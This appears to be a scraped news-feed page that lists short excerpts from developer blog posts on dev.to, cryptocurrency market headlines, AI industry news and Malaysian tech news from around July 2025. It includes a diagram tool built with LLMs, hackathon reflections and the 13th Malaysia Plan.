    What I built I built an open-source project to help visual learners like myself get to know codebases. It uses static analysis + LLMs to create more accurate diagrams. And the best part? They are interactive (and free)! GitHub: https://github.com/CodeBoarding/CodeBoarding Examples: https://github.com/CodeBoarding/GeneratedOnBoardings/tree/main The challenge was generating diagrams at an abstract level without overloading the LLM. I used control-flow graphs to trim irrelevant code and only prompt the LLM with what's needed — which made the results far more accurate than raw LLM prompting. I also made it CI/CD-friendly by prompting the LLM with the Git diffs between commits to see if it led to changes that would impact the diagram. If so - we only focus on the concerned components for the regeneration. I am also building an MCP (model context protocol) server for IDEs like Cursor, so you can query code you don’t even have locally. The idea is to use the generated docs and diagrams to intelligently route your question to the most relevant lines of code - constrained on the budget of the users LLM context window. Hope you like it. This is my first public project, so I would really love to hear your thoughts. A few things I’m curious about: Do you run into LLM hallucinations when navigating large codebases? Would a lightweight MCP be useful in your workflow? It's currently Python-only - what language should we support next?  ( 5 min )
    How AI and Augmented Reality Are Transforming Broadcast Design
    In today’s rapidly evolving media landscape, broadcast design is undergoing a seismic shift powered by artificial intelligence (AI) and augmented reality (AR). No longer confined to static graphics or linear workflows, today’s visual storytelling is dynamic, data-driven, and deeply interactive. At the center of this evolution is a new breed of creative professionals fusing technology with design to redefine how stories are told on screen. AI has introduced a level of automation that liberates creative teams from repetitive design tasks. From generating templated graphics in real time to powering predictive visuals for election coverage or sports analysis, AI enables broadcasters to focus on content while maintaining consistent visual quality. The integration of AI prompt engineering into g…  ( 6 min )
    AI Ethics: Navigating Future Challenges
    Are We Ready for AI's Ethical Dilemmas? Here’s a wild stat to wrap your head around: by some estimates, AI could be responsible for making up to 70% of business decisions in the near future. That means everything from who gets a loan to how a courtroom rules on a low-level offense could involve artificial intelligence. Sound exciting? Absolutely. Terrifying? Also yes. Let’s be real—AI isn't just spitting out Spotify playlists anymore. It's diagnosing illnesses, screening job applicants, and even dabbling in art and literature. Basically, AI is moving out of the garage and into the boardroom (and the voting booth, and the hospital…). The tech is incredible, sure—but here’s the rub: what happens when those algorithms make questionable calls? I remember sitting with a friend—an AI engineer,…  ( 15 min )
    Daily JavaScript Challenge #JS-238: Find the First Unique Character in a String
    Daily JavaScript Challenge: Find the First Unique Character in a String Hey fellow developers! 👋 Welcome to today's JavaScript coding challenge. Let's keep those programming skills sharp! Difficulty: Medium Topic: String Manipulation Given a string, find the first non-repeating character in it and return its index. If it doesn't exist, return -1. You may assume the string contains only lowercase English letters. https://www.dpcdev.com/ Fork this challenge Write your solution Test it against the provided test cases Share your approach in the comments below! Check out the documentation about this topic here: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map How did you approach this problem? Did you find any interesting edge cases? What was your biggest learning from this challenge? Let's learn together! Drop your thoughts and questions in the comments below. 👇 This is part of our Daily JavaScript Challenge series. Follow me for daily programming challenges and let's grow together! 🚀 javascript #programming #coding #dailycodingchallenge #webdev  ( 21 min )
  • Open

    Ether Eyes Biggest Monthly Gain Since 2022 as ETFs, Corporate Treasuries Drive Rally
    ETH might have some more juice to push to $4,700, one analyst said, but strong resistance and seasonal headwinds point to consolidation.
    Coinbase Increases Bitcoin Holdings, Plans Tokenized Stocks In U.S.
    The announcement comes amid the exchange posting a disappointing second-quarter with shares down more than 6% in post-market trading.
    Strategy Looking to Raise $4.2B Via Preferred Stock to Stack More Bitcoin
    The offering comes just days after closing on the sale of $2.5 billion of STRC preferred shares.
    Bitcoin’s Momentum Is Losing Steam as Seasonal Headwinds Loom, 10x Research Says
    BTC could break down to potential support levels at $112,000 and lower during a likely consolidation phase, the report said.
    Coinbase Stock Tumbles 7% After Disappointing Q2 Results
    The company posted total revenue of $1.5 billion, lower than the $1.59 billion that analysts had expected.
    Strategy Earned $10B in Q2 on Back of Bitcoin Price Gain
    Led by Michael Saylor, the company guided to full year net income of $24 billion, or $80 per share, based on a year-end BTC price outlook of $150,000.
    Ethereum's Justin Drake Unveils ‘Lean’ Roadmap to Fend Off Quantum Threats
    The new framework is aimed at simplifying the protocol’s design while preparing it for the security risks posed by future quantum computers.
    Tech Darling Figma Soars 198% Following IPO; Holds $70M in Bitcoin ETF
    The developer of design software previously disclosed ownership of $70 million of Bitwise's BITB, with plans to buy another $30 million in bitcoin.
    SEC’s Atkins: 'Most Crypto Assets Are Not Securities' Under Bold New Vision
    Paul Atkins, the head of the Securities and Exchange Commission, said "most crypto assets are not securities."
    Tether Reports $4.9B Net Profit in Q2, Invested $4B in U.S. Initiatives
    The firm held roughly $8.9 billion in bitcoin in the reserves, translating to roughly 83,200 coins.
    Adam Beck's Blockstream Unveils Bitcoin-Powered, Liquid Network-Based Smart Contracts
    Co-founded by early Bitcoin contributor Adam Back, Blockstream introduced Simplicity to solve the limitations of Bitcoin as a smart contract venue
    Helium Plus Lets Businesses Join Solana DePIN Project With Just Wi-Fi
    The Solana DePIN project is launching a new service that allows businesses to contribute to the Helium Network with just Wi-Fi and without having to buy new equipment.
    Crypto for Advisors: Ethereum Just Turned Ten
    Ethereum turned 10, and Ether’s role as a treasury reserve is growing. Read about current trends.
    Robinhood's Strong Q2 Fails to Sway Cautious Wall Street Analysts
    Having nearly tripled in price from the April lows, the stock received a number of modest price target hikes, but no ratings upgrades.
    Visa Expands Settlement Platform to Stellar, Avalanche, Adds Support for 3 Stablecoins
    Visa's platform now supports four stablecoins across four blockchains, including Ethereum and Solana.
    Stablecoins Speed Up Thanks to ‘AWS of Crypto’ Alchemy’s Latest Upgrade
    Blockchain infrastructure firm Alchemy has released a punchy upgrade with its new Cortex Engine.
    ETH Going to $16K in This Cycle? Analyst Explains Why This Could happen
    Crypto analyst Edward says ether could surge to $15K–$16K this cycle, citing bullish technical patterns, ETF inflows and rising institutional demand.
    Clearpool Expands to Payments Financing, Debuts Stablecoin Yield Token
    The decentralized finance platform targets fintechs bridging fiat settlement gaps with short-term stablecoin credit.
    CoinDesk Indices and SGX Indices launch iEdge CoinDesk Cryptocurrency Indices
    Institutional-grade benchmarks built for crypto market participation
    CoinDesk 20 Performance Update: Hedera (HBAR) Gains 7.9% as All Assets Climb Higher
    Aptos (APT) was also among the top performers, rising 5% from Wednesday.
    BTC Faces Golden Fibonacci Hurdle at $122K, XRP Holds Support at $3
    BTC bulls need to overcome the 161.8% Fib extension, the so-called golden ratio.
    Grayscale Launches Trust for Story Protocol to Tap Into $80T Intellectual Property Market
    The new Grayscale Story Trust offers investors exposure to $IP, the token powering programmable digital rights on blockchain.
    Tether-Focused Blockchain Stable Raises $28M to Power Stablecoin Payments
    The blockchain aims to enable fast, low-cost and stable digital payments using USDT as its gas token.
    Filecoin Jumps 2% After Defending Support at $2.38 Level
    Support has now been established at $2.38, with resistance at $2.55.
    BONK Rallies 8% Ahead of Trillion-Token Burn Milestone
    Solana meme token gains momentum as deflationary pressure builds with 1T token burn on the horizon
    ICP Rises 5% as Token Burn, AI-Powered Development Tools Fuel Rally
    DFINITY burns 1M tokens while debuting tools that enable app creation using plain English, sparking institutional demand.
    Bitcoin Shakes Off Powell Jitters: Crypto Daybook Americas
    Your day-ahead look for July 31, 2025
    Germany’s AllUnity Launches BaFin-Regulated Euro Stablecoin EURAU
    EURAU is claimed to be the first euro stablecoin under BaFin’s e-money license.
    NEAR Protocol Surges on Institutional Buying, Recovers 8% from Key Support Zone
    NEAR's 23-hour trading session from July 30 to July 31 signals strong institutional conviction, propelling prices from $2.52 to $2.73.
    Whale Activity Surges as Bitcoin Builds Momentum Toward New Highs
    Retail and institutional investors are aggressively accumulating BTC, echoing bullish patterns last seen during the 2024 U.S. election.
    Rice Robotics to Debut RICE Token for AI Data Marketplace on TokenFi Launchpad
    With robots deployed at Softbank, 7-Eleven Japan and Mitsui Fudosan, the company is introducing a token to decentralize and monetize robotics data using a DePIN model.
    Crypto Exchange Kraken's Earnings Fell 6.8% Year-Over-Year to $79.7M in Q2
    The exchange highlighted market turbulence related to the imposing of steeper tariffs by President Trump on trade with the U.S.
    The Ether Machine Kicks Off $463M ETH Treasury Strategy With $57M Purchase
    The Ether Machine started deploying its ETH treasury strategy, with over $400 million in reserves remaining for future purchases.
    Strategy's Market Hints at Strongest Downside Risk Since April
    Shares of Strategy have fallen over 14% in two weeks, closing below the 50-day simple moving average.
    Bolivia Looks to El Salvador for Help Building Its Crypto Regulatory Framework
    Bolivia’s central bank has signed a cooperation agreement with El Salvador’s crypto regulator to help build a local digital asset ecosystem.
    Bitcoin, XRP, Ether Recoup Overnight Losses as Analysts Point to Growing Threat to Fed Independence
    Analysts highlighted concerns over the Fed's independence, with two Trump-appointed officials dissenting in favor of a rate cut on Wednesday.
    Asia Morning Briefing: MSFT, Meta Soar on Strong AI Earnings, But Crypto AI Tokens Fail to Follow
    MSFT and Meta both rocketed off in after-hours trading after reporting strong earnings, thanks to Artificial Intelligence, but on the crypto side, there wasn't much movement.
  • Open

    Deep Cogito goes big, releasing 4 new open source hybrid reasoning models with self-improving ‘intuition’
    Arora explains this as a difference between searching for a path versus already knowing roughly where the destination lies.  ( 10 min )
    Hard-won vibe coding insights: Mailchimp’s 40% speed gain came with governance price
    Intuit Mailchimp's experience with vibe coding reveals governance frameworks and tool selection strategies that enterprises can apply to avoid common AI coding pitfalls.  ( 8 min )
    Amazon DocumentDB Serverless database looks to accelerate agentic AI, cut costs
    AWS continues to expand its serverless database offerings, aiming to help improve cost and lower operational complexity.  ( 8 min )
    You’ve heard of AI ‘Deep Research’ tools…now Manus is launching ‘Wide Research’ that spins up 100+ agents to scour the web for you
    The implication seems to be that running all these agents in parallel is faster and will result in a better and more varied set of products.  ( 8 min )
    Informatica advances its AI to transform 7-day enterprise data mapping nightmares into 5-minute coffee breaks
    Informatica's data platform evolution shows how it uses AI to actually serve enterprise needs.  ( 9 min )
  • Open

    The Download: OpenAI’s future research, and US climate regulation is under threat
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. The two people shaping the future of OpenAI’s research —Will Douglas Heaven For the past couple of years, OpenAI has felt like a one-man brand. With his showbiz style and fundraising glitz, CEO…  ( 22 min )
    The two people shaping the future of OpenAI’s research
    For the past couple of years, OpenAI has felt like a one-man brand. With his showbiz style and fundraising glitz, CEO Sam Altman overshadows all other big names on the firm’s roster. Even his bungled ouster ended with him back on top—and more famous than ever. But look past the charismatic frontman and you get…  ( 38 min )
  • Open

    Honda Prelude Returns As A Hybrid; Set For September Launch In Japan
    After a 24-year hiatus, the iconic Honda Prelude is making its long-awaited return—this time as a hybrid. The two-door coupe is slated to debut in Japan in September 2025, marking a new chapter in the Prelude’s legacy. Ahead of its launch, the coupe is currently being showcased at the Gaikindo Indonesia International Auto Show (GIIAS). […] The post Honda Prelude Returns As A Hybrid; Set For September Launch In Japan appeared first on Lowyat.NET.  ( 34 min )
    NVIDIA GeForce RTX 50 Super Series Rumoured To Launch Before 2026
    It’s been a little more than half a year since NVIDIA launched its GeForce RTX 50 Series, and just a little more than two months since rumours of the RTX 50 Super Series began to spread. While many of us aren’t expecting said lineup to make its debut until sometime next year, there is a […] The post NVIDIA GeForce RTX 50 Super Series Rumoured To Launch Before 2026 appeared first on Lowyat.NET.  ( 34 min )
    13MP: Malaysia Considers Monthly EPF Payouts For Retirees
    The Malaysian government is considering a monthly pension payout under the Employees Provident Fund (EPF) for retirees. This will be in addition to the current limp sum withdrawal, with contributions being split into retirement savings and pension. “Through this effort, workers will be able to withdraw a portion of their savings while also receiving a […] The post 13MP: Malaysia Considers Monthly EPF Payouts For Retirees appeared first on Lowyat.NET.  ( 33 min )
    13MP: Govt Targets 98% 5G Coverage, 95% Digitalisation Of Federal Services By 2030
    As part of the 13th Malaysia Plan (13MP) tabling today, Prime Minister Datuk Seri Anwar Ibrahim has revealed that the government is aiming to expand 5G coverage to 98% of residential, industrial and rural areas by 2030. The push is in line with efforts to accelerate artificial intelligence adoption across the nation. “This isn’t just […] The post 13MP: Govt Targets 98% 5G Coverage, 95% Digitalisation Of Federal Services By 2030 appeared first on Lowyat.NET.  ( 33 min )
    13MP: Enhancement For Public Transport And Infrastructure Development Across Malaysia
    During the 13th Malaysia Plan (13MP) tabling today in Dewan Rakyat, Prime Minister Datuk Seri Anwar Ibrahim said that the public transport system and road network across the nation will be further enhanced under the plan. The improvements will be implemented through a range of initiatives, including new infrastructure projects, the upgrading of existing routes, […] The post 13MP: Enhancement For Public Transport And Infrastructure Development Across Malaysia appeared first on Lowyat.NET.  ( 34 min )
    Malaysia To Become AI Nation, Digital Tech Hub By 2030
    Malaysia is aiming to become an “inclusive and sustainable” AI nation by 2030. At today’s tabling of the 13th Malaysia Plan (13MP), Prime Minister Datuk Seri Anwar Ibrahim outlined the aspiration to transform the country into a regional hub for digital technology as well as products and services under the “Made by Malaysia” branding. To […] The post Malaysia To Become AI Nation, Digital Tech Hub By 2030 appeared first on Lowyat.NET.  ( 33 min )
    Nuclear Energy Brought Up During 13MP Talks
    Talks of nuclear energy were revived during the government’s 13th Malaysian Plan (13MP). At current, the administration is discussing the potential of throwing the power source into the country’s energy generation mix by 2031. As to who will be handling the possible development and potential construction of a nuclear power plant in Malaysia, that responsibility […] The post Nuclear Energy Brought Up During 13MP Talks appeared first on Lowyat.NET.  ( 34 min )
    Rahmah Internet Packages To Continue Under 13th Malaysia Plan
    The government will continue offering affordable internet packages under the Rahmah initiative to ease the financial burden faced by Malaysians. This was announced by Prime Minister Datuk Seri Anwar Ibrahim during the tabling of the 13th Malaysia Plan (13MP) in Parliament earlier today. Anwar confirmed that Rahmah Packages for internet services will be maintained, ensuring […] The post Rahmah Internet Packages To Continue Under 13th Malaysia Plan appeared first on Lowyat.NET.  ( 33 min )
    HONOR Magic V5 Now Available Via Postpaid Telco Plans
    The HONOR Magic V5 was added onto shelves last week, which is itself a week after it was officially launched locally. Now, local telcos have added it into their inventory, incorporating it into some of their plan offerings. The good news is that, since the phone is only available in one memory and storage configuration, […] The post HONOR Magic V5 Now Available Via Postpaid Telco Plans appeared first on Lowyat.NET.  ( 35 min )
    ASUS ROG Xbox Ally X Pricing Leaks; Preorders To Open During Gamescom 2025
    Back in June, ASUS revealed everything about its upcoming gaming handheld, the ROG Xbox Ally X and Ally, save for pricing and availability. Luckily for the internet, reliable leaksters have seemingly managed to sniff out those little details. According to the French portal Dealabs, ASUS plans on opening preorders for the Xbox Ally X and […] The post ASUS ROG Xbox Ally X Pricing Leaks; Preorders To Open During Gamescom 2025 appeared first on Lowyat.NET.  ( 34 min )
    Felda Has A Mobile App; Essential Info Access Point For Settlers
    The Federal Land Development Authority (Felda) has launched a mobile app for the use of settlers. It’s simply called MyFelda, and it’s made with the goal of enhancing governance, transparency and inclusivity within the settler community. But what does it actually do? For settlers, it primarily serves as a hub for reliable, up-to-date info. This […] The post Felda Has A Mobile App; Essential Info Access Point For Settlers appeared first on Lowyat.NET.  ( 33 min )
    KTMB Adds Extra ETS Services For Holiday Season
    Keretapi Tanah Melayu Bhd (KTMB) released an announcement stating that it will be adding two additional Electric Train Service (ETS) trains in conjunction with the school holidays and upcoming public holidays, including Malaysia Day, Maulidur Rasul, and Malaysia Day. These trains will be added on the route from KL Sentral to Padang Besar. The extra […] The post KTMB Adds Extra ETS Services For Holiday Season appeared first on Lowyat.NET.  ( 34 min )
    Samsung Galaxy Tab S11 Ultra To Get Bigger Battery
    As Samsung prepares to launch the next generation of its tablets later this year, leaks have already started to surface. We were previously treated to a render of the Galaxy Tab S11 Ultra, which revealed some tweaks to its design. Now, a new certification listing has shed more light on the tablet. The Galaxy Tab […] The post Samsung Galaxy Tab S11 Ultra To Get Bigger Battery appeared first on Lowyat.NET.  ( 33 min )
    Digital Ministry: NACSA Finalising Malaysia’s Cyber Security Strategy 2025–2030
    According to the Digital Ministry, the National Cyber Security Agency (NACSA) is finalising Malaysia’s Cyber Security Strategy (MCSS) 2025–2030. This strategy serves as a continuation of MCSS 2020–2024 and will involve three key stakeholders, namely the government, businesses, and the community. In addition to this, the MCSS will also consider emerging technologies like artificial intelligence […] The post Digital Ministry: NACSA Finalising Malaysia’s Cyber Security Strategy 2025–2030 appeared first on Lowyat.NET.  ( 33 min )
    Fahmi: Mobile Phone Data Initiative To Remain
    The government has no intention of cancelling the Mobile Phone Data (MPD) initiative, Communications Minister Fahmi Fadzil told Parliament, reaffirming that it complies with Cabinet decisions, domestic legislation and international standards. He insisted that no privacy violations have occurred since its implementation. Responding to a query from Datuk Mohd Suhaimi Abdullah (PN-Langkawi) on whether the […] The post Fahmi: Mobile Phone Data Initiative To Remain appeared first on Lowyat.NET.  ( 33 min )

  • Open

    Angular build
    A post by Gabriel Soares  ( 4 min )
    From Rejection to Recognition: How a "Failed" Hackathon Led to Our Biggest "Win"
    The story of building an AI shopping agent, facing disappointment, and finding unexpected success Who are we? We are two college students, had this crazy idea. What if we could build an AI agent that would revolutionize online shopping? Not just another chatbot, but a truly intelligent agent that could understand user emotions and budget, recommend, and help users make better purchasing decisions. So we entered the Bolt Hackathon with high hopes and endless energy. The Supabase Struggle Connecting our AI agent to Supabase became our biggest headache. Just when we thought everything was working smoothly, something would break. The agent would stop responding. Data wouldn't save properly. Edge functions felt impossible to debug. The API Limitation Crisis We were using a thir…  ( 7 min )
    What GitOps changes about elevated access
    Recently, we surveyed the industry to gain insights into the adoption and challenges of real-world GitOps, with the results forming the State of GitOps report. While reviewing the trends and results, the data around one key finding jumped out at me: GitOps reduces elevated access Overall, 66% of respondents agreed. Among organizations with higher GitOps maturity, agreement rose to 77%, but interestingly, there was also a slight increase in disagreement among the highest performers. So, does GitOps change or reduce the need for elevated environment access, and should it? The 4 GitOps principles encourage you to avoid manually logging into environments and performing tasks. The goal is to manage system state declaratively through version-controlled configuration and apply those states autom…  ( 8 min )
    Why Rust Programming Language Became the Most Loved Developer Choice (5 Years Running!)
    Remember when everyone said C++ would rule systems programming forever? Yeah, that aged about as well as MySpace. After a decade of wrestling with segfaults and memory leaks, I finally dove into Rust. The result? I'm never going back. And apparently, neither is anyone else - Stack Overflow just crowned Rust the "most loved" language for the FIFTH year straight. Discord cut their servers from hundreds to just 5 (not a typo!) Senior Rust devs pulling $300K+ at FAANG Microsoft rewriting Windows kernel components in Rust 70% of security bugs just... disappear Real performance benchmarks (Rust vs C++ vs Go) Complete salary breakdown by US tech hub Working code examples you can actually use Why companies like AWS hired entire Rust teams Honest learning curve assessment (spoiler: it's rough but worth it) I spent weeks researching, benchmarking, and talking to Rust devs across Silicon Valley to understand why this language has developers absolutely obsessed. Read the full deep dive here →  ( 5 min )
    Context engineering for production-grade web agents
    Web agents suffer from the AI demo-production gap. Calvin French-Owen's great post about AI products describes the demo-production gap: In a strange twist, most AI demos nail the "upside" phase, but that's where they get stuck: just a demo, not a product... The upside of a web agent is great: it can automate web workflows that are tedious for humans to do. But the downside of a flaky web agent is obvious: it can't be used reliably in production! When we first tried to productionize our web agents, we had a <10% success rate for completing critical, repeatable tasks like downloading 50+ checks from a webpage. We initially thought this high failure rate was due to prompt underspecification. If we learned to describe the ideal workflow precisely, we hoped the agent would somehow become reliab…  ( 11 min )
    🧠 My Personal Bash Scripts Repository on GitHub
    Hey Devs! 👋 I've created a GitHub repo that includes all the Bash scripts I’m using and learning from during my Linux administration and cybersecurity training. 🔗 Repo Link: github.com/SeifEldienAhmad/BashScripts Update automation scripts Backup utilities User and permission management Aliases and shortcuts Scripts that I personally use and test 💡 Feel free to clone, fork, or contribute if you'd like! 🔄 I'll be adding more as I go through RHSA and my Red Team learning roadmap. 👉 Ready to explore? Check out the repo now » Author: Seif Eldien Ahmad Mohammad Other name variations I go by (for SEO and clarity): SeifEldien, Seif Eldein, Seif Eldien, Seif Ahmad ✅ Official GitHub & tech content published under: Seif Eldien Ahmad Mohammad github.com/SeifEldienAhmad  ( 5 min )
    🎬 CineFlow: A Self-Hosted Workflow to Automate Jellyfin + Jackett + Transmission
    If you're into home servers, automation, or just want a more lightweight alternative to things like Overseerr or Sonarr/Radarr, you might find this useful. 🚀 What Is CineFlow? CineFlow is a self-hosted automation tool that: Fetches trending movies and series from TMDB Searches for torrents using Jackett Adds them to Transmission for download Reads your Jellyfin library and lets you “mark” items as favorites → auto-downloads them Stores all data locally — no database required It’s lightweight, Docker-based, and runs on flat files using Python + YAML-based workflows. 🔗 GitHub https://github.com/szilab/CineFlow  ( 5 min )
    Common Challenges in Migration Projects and How to Overcome Them
    Introduction The migration of systems and data, whether to the cloud, to new platforms, or between different environments, is a complex process fraught with pitfalls. While the promise of greater efficiency, scalability, and cost reduction is appealing, many migration projects face significant challenges that can lead to delays, budget overruns, and even complete failures. With years of experience leading and participating in large-scale migration projects, I have observed patterns of problems that repeatedly arise. This article aims to identify the most common challenges in migration projects and offer practical strategies to overcome them, ensuring a smooth and successful transition. 1. Underestimating the Planning Phase One of the most frequent mistakes in migration projects is the rush…  ( 9 min )
    Nostalgic web windows 95 portfolio
    I’d like to share my web portfolio that I have been building as my fun hobby It is a simple windows 95 portfolio but I have added some features in there that might be fun to play around with. The tech stack is React, Node, Mongodb, Websocket and libraries… Live web Github link any suggestion would be appreciated.  ( 5 min )
    Warum deine Coding-Skills allein nicht reichen: Content-Marketing für Entwickler
    Du bist ein brillanter Entwickler, deine Webseiten sind technisch perfekt, dein Code ist clean – aber die Kunden bleiben trotzdem aus? Willkommen im Alltag vieler Freelancer und Remote-Entwickler! Ich kenne das Problem nur zu gut. Nach über 200 begleiteten Projekten mit Remoteunternehmen kann ich dir sagen: Die besten Programmierer sind nicht automatisch die erfolgreichsten Unternehmer. Was macht den Unterschied? Content-Marketing – und zwar in Form von strategischen Blogbeiträgen. Ich war genauso. Drei Jahre lang habe ich gedacht: "Mein Code spricht für sich." Spoiler: Tut er nicht. Zumindest nicht laut genug. Ein gut geschriebener Blogbeitrag ist wie ein fleißiger CI/CD-Pipeline – er arbeitet 24/7 für dich, ohne dass du ständig eingreifen musst. Während du schläfst, löst er Probleme für…  ( 7 min )
    ⚽ Predicting 2024/25 Premier League Win Probabilities Using Python
    In this project, I explored how to predict the probability of Premier League teams winning games in the 2024/25 season, using their 2023/24 results as a baseline. I used Python, the API-Football API, and some light statistics to model each team's win probability. Let’s break it down 👇 Predict how many games each team is likely to win in the 2024/25 season using: 🧮 Bernoulli Distribution (win or no win) 🎲 Binomial Probability Model 📈 Visualizations with Seaborn & Matplotlib import requests import pandas as pd from scipy.stats import binom import matplotlib.pyplot as plt import seaborn as sns I used the API-Football service to get Premier League match data for the 2023/24 season: API_KEY = 'your_api_key' BASE_URL = 'https://v3.football.api-sports.io' HEADERS = {'x-apisports-key': API_K…  ( 6 min )
    Análisis predictivo de amarres con TensorFlow en Python
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    Day 9: Shell Scripting Challenge Directory Backup with Rotation
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    🐘 One-Click Production-Ready PostgreSQL HA Cluster with Docker, Patroni, and HAProxy
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    API probability of a win
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    Desenvolvimento Assistido por IA: Explorando o Firebase Studio
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    Measures of Central Tendency in Data Science
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    Cleaning Up the Feature Set #24
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    Sushihost.org: por qué el autoalojamiento sigue siendo relevante en 2025
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    Building Scalable Support Ticket System with Node.js, Express & MongoDB – Part 3
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    Creatividad asistida por IA: cómo Makiai.com potencia mis ideas como programador
    La creatividad también forma parte del trabajo de un desarrollador. Ya sea para nombrar variables, escribir documentación, redactar un README efectivo o simplemente encontrar una forma clara de explicar tu proyecto, a veces las ideas no fluyen. Últimamente he estado usando Makiai.com, una herramienta de inteligencia artificial que se enfoca en generar texto útil, estructurado y claro para distintos propósitos... incluso cuando no eres escritor. Makiai está diseñado para ayudarte a: Redactar descripciones para GitHub o sitios de portafolio Crear scripts de video o contenido para presentaciones Refinar ideas de publicaciones técnicas en Medium o dev.to Traducir o mejorar contenido técnico en español Interfaz rápida y minimalista Resultados coherentes incluso con prompts simples Ideal para escribir en español (¡y sin errores gramaticales!) Ahorras tiempo sin perder el control del contenido Si estás en el mundo tech y buscas una ayuda con la parte escrita de tu trabajo, prueba 👉 Makiai.com ¿Te ha pasado que sabes lo que quieres decir, pero no sabes cómo escribirlo bien? Me pasa todo el tiempo. Y por eso tener una herramienta como esta realmente marca la diferencia.  ( 5 min )
    Rails Designer's UI Components v1.15: now for ViewComponent v4
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    ¿Está tu trabajo en riesgo por la inteligencia artificial? Lo que descubrí en este análisis para 2025-2030
    La inteligencia artificial ya no es ciencia ficción. Está en nuestras búsquedas, nuestros correos, nuestros editores de texto... y poco a poco, también está entrando en el espacio laboral. Hace poco leí un artículo en Makiai.com que analiza qué empleos están en riesgo debido al avance de la IA, con proyecciones desde 2025 hasta 2030. La lectura me dejó pensando: ¿qué habilidades van a seguir siendo relevantes en este nuevo entorno? Según el artículo, los empleos más vulnerables comparten características como: Tareas repetitivas y predecibles Procesos que pueden ser digitalizados o analizados por algoritmos Poco contacto humano o empatía como parte esencial del rol Esto incluye desde asistentes administrativos, telemarketing, entrada de datos... hasta algunas áreas creativas que uno no esperaría. Lo interesante es que no todos los trabajos en tecnología están seguros solo por ser "tech". Hay ciertas tareas dentro del desarrollo que ya están siendo automatizadas (como generación de boilerplate o testing automatizado). Sin embargo, el artículo también resalta que: Los profesionales con pensamiento crítico, capacidad de adaptación, creatividad y habilidades interpersonales serán más resilientes frente a la automatización. Es decir, la clave ya no será solo saber programar, sino saber pensar, adaptarse y colaborar. Actualizar nuestras habilidades: IA, ética, prompt engineering, UX. Participar en proyectos con impacto humano. Aprender a trabajar con la IA, no contra ella. Desarrollar criterio sobre cuándo delegar a la IA y cuándo no. Si te interesa este tema, te recomiendo leer el artículo completo aquí 👉 Empleos en riesgo por la inteligencia artificial en 2025 (Makiai.com) ¿Crees que la IA afectará tu rol actual como dev? ¿Ya estás usando herramientas que antes no existían hace 2 años? Me encantaría leer tus experiencias y reflexiones abajo. 👇  ( 6 min )
    Bringing VB6 Back to Life: Run the Classic IDE on Windows 10/11 — No VM Needed
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    🔄 Implicit vs Explicit Dependencies in Terraform (And Why It’s Like Cooking With a Recipe)
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    Building Safer Swift Code with Noncopyable Types
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    Understanding the relationshipi power Bi and its importance
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    Llama-3.2 & Tacos: A Hackathon Love Story
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    World’s Largest Hackathon Writing Challenge
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    How to Keep Your render or replit Projects Online 24/7 with hosting.aifordiscord.xyz
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    Criando um compilador em csharp: Parte 6
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    The Future of Investment Platforms: My Journey Building Portfolio Rebalancer with Algolia MCP
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    Why Branding Is So Important
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    Building AI Agents: Choose your fighter
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    Common Java Mistakes Developers Make
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    Bring Your Own Feed (BYOF): An Engineer's Guide to Effective Threat Intelligence
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    AI vizibility window
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    The while loop in Java
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    Day 4: Built a Lead Form Automation This Wednesday
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    Why TCS Is Letting Go of ~12,000 Employees: The Inside Story and What Comes Next
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    How to Split a Python String into Characters
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    Guide pratique pour sécuriser votre PME contre les cybermenaces
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    Deactivating Python venv
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    Understanding Python Thread Sleep
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    The Future
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. DREAMCHILD is now out of my hands. My prayer is that she will always advance good and not will and make this world a better place than she found it. She will make it easier for parents to manage the crucial early years of a child’s life and create a blessed trajectory early in a child’s life  ( 4 min )
    Accomplishments and Lessons
    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. I am happy to witness History and be part of it. This is an interesting time and though there is fear and uncertainty over the excesses of this technology, I choose to believe that A.I can be a tool for good and not evil. I choose to believe that it will advance the cause of humanity and take us further than we would have imagined I have learn to be focused. During the hackathon, I had to be be completely focused. The goal was not to win the top prize, the goal was to contribute towards advancement of this technology. So I am proud of what I have achieved and I am also happy that the challenge has made be a better person within. I have not just advanced in scientific knowledge, I have strengthened my character and Its the greatest lesson.  ( 4 min )
    My chats disappeared on Chatgpt
    Today, something odd happened. I logged into ChatGPT on my laptop—like I always do, with a warm cup of tea in one hand and a hundred thoughts bouncing around in my head—and... nothing. No history. No trail of the endless conversations I’ve had over the past few month, maybe years. It was all blank. For a moment, I panicked. Had I been logged out? Had my account been reset? Or worse—had all those brilliant (and some very dumb) ideas, ramblings, and questions I’d shared with ChatGPT just... disappeared? ChatGPT has slowly become a sort of ritual for me. It’s my thinking companion when I’m stuck, my brainstorming partner for weird app ideas, my therapist when I’m spiraling, and my cheerleader when I finally get something right. So losing all that felt strangely personal. Like walking into your favorite coffee shop only to find it boarded up, with no warning. But here’s where it gets weird. I opened the ChatGPT mobile app—and bam, there it was. My entire chat history was intact on mobile. Conversations going back days, weeks. All right there. I could scroll through them, search them, read them like nothing had ever happened. So what’s going on? Probably a bug. Maybe something temporary with the web interface. I’ve seen others mention it too, so I’m hoping it’s just a hiccup on OpenAI’s side. But it got me thinking about how much these chats actually mean to me now. They’re not just “conversations with AI” anymore. They’re a digital breadcrumb trail of my thoughts, curiosities, and half-built dreams. It’s funny how quickly something becomes part of your day. How a tool turns into a ritual. And how much you notice when it’s missing—even if just for a moment. So for now, I’ll keep using the mobile app. I’ll trust that the desktop history will come back when it’s ready. And I’ll keep showing up, one chat at a time. After all, it’s not just about the answers—it’s about the conversation.  ( 5 min )
    Creating with Bolt
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. I was inspired and I felt a call to contribute something not just to the children in my family but all the children in my community. This project was built primarily by the agent. I had the vision for creating a tool to help parents manage their young ones. But it is the A.I agent that brought my vision to reality It is difficult to undo changes once made. I also had instances when I doubted if I was up to the task. But I was patient and persevered and I am very proud of my achievement  ( 4 min )
    Creating with Bolt
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. I was inspired and I felt a call to contribute something not just to the children in my family but all the children in my community. This project was built primarily by the agent. I had the vision for creating a tool to help parents manage their young ones. But it is the A.I agent that brought my vision to reality It is difficult to undo changes once made. I also had instances when I doubted if I was up to the task. But I was patient and persevered and I am very proud of my achievement  ( 4 min )
    Creating with Bolt
